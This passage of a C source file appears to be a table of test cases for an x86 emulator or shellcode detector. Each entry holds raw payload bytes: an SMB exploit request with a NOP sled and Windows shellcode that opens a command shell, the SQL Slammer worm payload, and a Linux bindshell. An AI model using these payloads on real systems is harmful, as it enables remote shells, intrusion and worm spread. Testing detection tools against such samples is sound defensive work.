0\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x03\"\n\t\t\"\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x46\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x47\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\"\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x06\\x00\\x40\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\x47\"\n\t\t\"\\x00\\x00\\x00\\x15\\x8a\\x88\\xe0\\x48\\x00\\x4f\\x00\\x44\\x00\\x00\\xed\\x41\"\n\t\t\"\\x2c\\x27\\x86\\x26\\xd2\\x59\\xa0\\xb3\\x5e\\xaa\\x00\\x88\\x6f\\xc5\\x57\\x00\"\n\t\t\"\\x69\\x00\\x6e\\x00\\x64\\x00\\x6f\\x00\\x77\\x00\\x73\\x00\\x20\\x00\\x32\\x00\"\n\t\t\"\\x30\\x00\\x30\\x00\\x30\\x00\\x20\\x00\\x32\\x00\\x31\\x00\\x39\\x00\\x35\\x00\"\n\t\t\"\\x00\\x00\\x57\\x00\\x69\\x00\\x6e\\x00\\x64\\x00\\x6f\\x00\\x77\\x00\\x73\\x00\"\n\t\t\"\\x20\\x00\\x32\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x20\\x00\\x35\\x00\\x2e\\x00\"\n\t\t\"\\x30\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5c\\xff\\x53\\x4d\\x42\\x75\\x00\"\n\t\t\"\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x08\\x30\\x00\\x04\\xff\\x00\\x5a\\x00\\x08\"\n\t\t\"\\x00\\x01\\x00\\x31\\x00\\x00\\x5c\\x00\\x5c\\x00\\x31\\x00\\x39\\x00\\x32\\x00\"\n\t\t\"\\x2e\\x00\\x33\\x00\\x35\\x00\\x2e\\x00\\x32\\x00\\x32\\x00\\x39\\x00\\x2e\\x00\"\n\t\t\"\\x33\\x00\\x39\\x00\\x5c\\x00\\x49\\x00\\x50\\x00\\x43\\x00\\x24\\x00\\x00\\x00\"\n\t\t\"\\x3f\\x3f\\x3f\\x3f\\x3f\\x00\\x00\\x00\\x00\\x66\\xff\\x53\\x4d\\x42\\xa2\\x00\"\n\t\t\"\\x00\\x00\\x00\\x18\\x07\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x08\\x78\\x04\\x00\\x08\\x40\\x00\\x18\\xff\\x00\\xde\\xde\\x00\"\n\t\t\"\\x10\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9f\\x01\\x02\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\"\n\t\t\"\\x00\\x00\\x40\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x13\\x00\\x00\\x5c\\x00\"\n\t\t\"\\x62\\x00\\x72\\x00\\x6f\\x00\\x77\\x00\\x73\\x00\\x65\\x00\\x72\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x9c\\xff\\x53\\x4d\\x42\\x25\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x78\\x04\"\n\t\t\"\\x00\\x08\\x50\\x00\\x10\\x00\\x00\\x48\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x54\\x00\\x48\\x00\\x54\\x00\\x02\"\n\t\t\"\\x00\\x26\\x00\\x00\\x40\\x59\\x00\\x00\\x5c\\x00\\x50\\x00\\x49\\x00\\x50\\x00\"\n\t\t\"\\x45\\x00\\x5c\\x00\\x00\\x00\\x40\\x00\\x05\\x00\\x0b\\x03\\x10\\x00\\x00\\x00\"\n\t\t\"\\x48\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xb8\\x10\\xb8\\x10\\x00\\x00\\x00\\x00\"\n\t\t\"\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x40\\x4e\\x9f\\x8d\\x3d\\xa0\\xce\\x11\"\n\t\t\"\\x8f\\x69\\x08\\x00\\x3e\\x30\\x05\\x1b\\x01\\x00\\x00\\x00\\x04\\x5d\\x88\\x8a\"\n\t\t\"\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00\\x2b\\x10\\x48\\x60\\x02\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x08\\x90\\xff\\x53\\x4d\\x42\\x25\\x00\\x00\\x00\\x00\\x18\\x07\\xc8\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x78\\x04\"\n\t\t\"\\x00\\x08\\x60\\x00\\x10\\x00\\x00\\x3c\\x08\\x00\\x00\\x00\\x01\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x54\\x00\\x3c\\x08\\x54\\x00\\x02\"\n\t\t\"\\x00\\x26\\x00\\x00\\x40\\x4d\\x08\\x00\\x5c\\x00\\x50\\x00\\x49\\x00\\x50\\x00\"\n\t\t\"\\x45\\x00\\x5c\\x00\\x00\\x00\\x40\\x00\\x05\\x00\\x00\\x03\\x10\\x00\\x00\\x00\"\n\t\t\"\\x3c\\x08\\x00\\x00\\x01\\x00\\x00\\x00\\x24\\x08\\x00\\x00\\x00\\x00\\x36\\x00\"\n\t\t\"\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x52\\x00\\x4f\\x00\"\n\t\t\"\\x4f\\x00\\x54\\x00\\x5c\\x00\\x53\\x00\\x59\\x00\\x53\\x00\\x54\\x00\\x45\\x00\"\n\t\t\"\\x4d\\x00\\x5c\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\xff\\xff\\x00\\x00\\xe0\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\"\\xc0\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\"\n\t\t\"\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\"\n\t\t\"\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\"\n\t\t\"\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\"\n\t\t\"\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xeb\\x08\\x90\\x90\\x48\\x4f\\x44\\x88\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xfc\\x6a\\xeb\\x4d\\xe8\\xf9\\xff\\xff\"\n\t\t\"\\xff\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x7c\\x05\\x78\\x01\\xef\\x8b\"\n\t\t\"\\x4f\\x18\\x8b\\x5f\\x20\\x01\\xeb\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xc0\\x99\"\n\t\t\"\\xac\\x84\\xc0\\x74\\x07\\xc1\\xca\\x0d\\x01\\xc2\\xeb\\xf4\\x3b\\x54\\x24\\x28\"\n\t\t\"\\x75\\xe5\\x8b\\x5f\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5f\\x1c\\x01\\xeb\"\n\t\t\"\\x03\\x2c\\x8b\\x89\\x6c\\x24\\x1c\\x61\\xc3\\x31\\xdb\\x64\\x8b\\x43\\x30\\x8b\"\n\t\t\"\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x40\\x08\\x5e\\x68\\x8e\\x4e\\x0e\\xec\\x50\"\n\t\t\"\\xff\\xd6\\x66\\x53\\x66\\x68\\x33\\x32\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0\"\n\t\t\"\\x68\\xcb\\xed\\xfc\\x3b\\x50\\xff\\xd6\\x5f\\x89\\xe5\\x66\\x81\\xed\\x08\\x02\"\n\t\t\"\\x55\\x6a\\x02\\xff\\xd0\\x68\\xd9\\x09\\xf5\\xad\\x57\\xff\\xd6\\x53\\x53\\x53\"\n\t\t\"\\x53\\x53\\x43\\x53\\x43\\x53\\xff\\xd0\\x66\\x68\\x22\\xb8\\x66\\x53\\x89\\xe1\"\n\t\t\"\\x95\\x68\\xa4\\x1a\\x70\\xc7\\x57\\xff\\xd6\\x6a\\x10\\x51\\x55\\xff\\xd0\\x68\"\n\t\t\"\\xa4\\xad\\x2e\\xe9\\x57\\xff\\xd6\\x53\\x55\\xff\\xd0\\x68\\xe5\\x49\\x86\\x49\"\n\t\t\"\\x57\\xff\\xd6\\x50\\x54\\x54\\x55\\xff\\xd0\\x93\\x68\\xe7\\x79\\xc6\\x79\\x57\"\n\t\t\"\\xff\\xd6\\x55\\xff\\xd0\\x66\\x6a\\x64\\x66\\x68\\x63\\x6d\\x89\\xe5\\x6a\\x50\"\n\t\t\"\\x59\\x29\\xcc\\x89\\xe7\\x6a\\x44\\x89\\xe2\\x31\\xc0\\xf3\\xaa\\xfe\\x42\\x2d\"\n\t\t\"\\xfe\\x42\\x2c\\x93\\x8d\\x7a\\x38\\xab\\xab\\xab\\x68\\x72\\xfe\\xb3\\x16\\xff\"\n\t\t\"\\x75\\x44\\xff\\xd6\\x5b\\x57\\x52\\x51\\x51\\x51\\x6a\\x01\\x51\\x51\\x55\\x51\"\n\t\t\"\\xff\\xd0\\x68\\xad\\xd9\\x05\\xce\\x53\\xff\\xd6\\x6a\\xff\\xff\\x37\\xff\\xd0\"\n\t\t\"\\x8b\\x57\\xfc\\x83\\xc4\\x64\\xff\\xd6\\x52\\xff\\xd0\\x68\\xef\\xce\\xe0\\x60\"\n\t\t\"\\x53\\xff\\xd6\\xff\\xd0\\x00\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xe0\\x07\\x00\\x00\\x04\\x00\\x00\\x00\"\n\t\t\"\\x00\\x00\\x00\\x00\",\n\t\t.codesize = 2948,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"sqlslammer\",\n\t\t.code =  \n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x68\\xdc\\xc9\"\n\t\t\"\\xb0\\x42\\xb8\\x01\\x01\\x01\\x01\\x31\\xc9\\xb1\\x18\\x50\\xe2\\xfd\\x35\\x01\"\n\t\t\"\\x01\\x01\\x05\\x50\\x89\\xe5\\x51\\x68\\x2e\\x64\\x6c\\x6c\\x68\\x65\\x6c\\x33\"\n\t\t\"\\x32\\x68\\x6b\\x65\\x72\\x6e\\x51\\x68\\x6f\\x75\\x6e\\x74\\x68\\x69\\x63\\x6b\"\n\t\t\"\\x43\\x68\\x47\\x65\\x74\\x54\\x66\\xb9\\x6c\\x6c\\x51\\x68\\x33\\x32\\x2e\\x64\"\n\t\t\"\\x68\\x77\\x73\\x32\\x5f\\x66\\xb9\\x65\\x74\\x51\\x68\\x73\\x6f\\x63\\x6b\\x66\"\n\t\t\"\\xb9\\x74\\x6f\\x51\\x68\\x73\\x65\\x6e\\x64\\xbe\\x18\\x10\\xae\\x42\\x8d\\x45\" \n\t\t\"\\xd4\\x50\\xff\\x16\\x50\\x8d\\x45\\xe0\\x50\\x8d\\x45\\xf0\\x50\\xff\\x16\\x50\"\n\t\t\"\\xbe\\x10\\x10\\xae\\x42\\x8b\\x1e\\x8b\\x03\\x3d\\x55\\x8b\\xec\\x51\\x74\\x05\"\n\t\t\"\\xbe\\x1c\\x10\\xae\\x42\\xff\\x16\\xff\\xd0\\x31\\xc9\\x51\\x51\\x50\\x81\\xf1\"\n\t\t\"\\x03\\x01\\x04\\x9b\\x81\\xf1\\x01\\x01\\x01\\x01\\x51\\x8d\\x45\\xcc\\x50\\x8b\"\n\t\t\"\\x45\\xc0\\x50\\xff\\x16\\x6a\\x11\\x6a\\x02\\x6a\\x02\\xff\\xd0\\x50\\x8d\\x45\"\n\t\t\"\\xc4\\x50\\x8b\\x45\\xc0\\x50\\xff\\x16\\x89\\xc6\\x09\\xdb\\x81\\xf3\\x3c\\x61\"\n\t\t\"\\xd9\\xff\\x8b\\x45\\xb4\\x8d\\x0c\\x40\\x8d\\x14\\x88\\xc1\\xe2\\x04\\x01\\xc2\"\n\t\t\"\\xc1\\xe2\\x08\\x29\\xc2\\x8d\\x04\\x90\\x01\\xd8\\x89\\x45\\xb4\\x6a\\x10\\x8d\"\n\t\t\"\\x45\\xb0\\x50\\x31\\xc9\\x51\\x66\\x81\\xf1\\x78\\x01\\x51\\x8d\\x45\\x03\\x50\"\n\t\t\"\\x8b\\x45\\xac\\x50\\xff\\xd6\\xeb\\xca\",\n\n\t\t.codesize = 259,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t\t\n\t},\n\t{\n\t\t.instr = \"linux bindshell\",\n\t\t.code =  \"\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\x53\\x43\\x53\\x43\\x53\\x89\\xe1\\x4b\\xcd\\x80\"\n\t\t\t\t \"\\x89\\xc7\\x52\\x66\\x68\\x4e\\x20\\x43\\x66\\x53\\x89\\xe1\\xb0\\xef\\xf6\\xd0\"\n\t\t\t\t \"\\x50\\x51\\x57\\x89\\xe1\\xb0\\x66\\xcd\\x80\\xb0\\x66\\x43\\x43\\xcd\\x80\\x50\"\n\t\t\t\t \"\\x50\\x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\"\n\t\t\t\t \"\\xcd\\x80\\x41\\xe2\\xf8\\x51\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\"\n\t\t\t\t \"\\x89\\xe3\\x51\\x53\\x89\\xe1\\xb0\\xf4\\xf6\\xd0\\xcd\\x80\",\n\t\t.codesize = 92,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"Windows 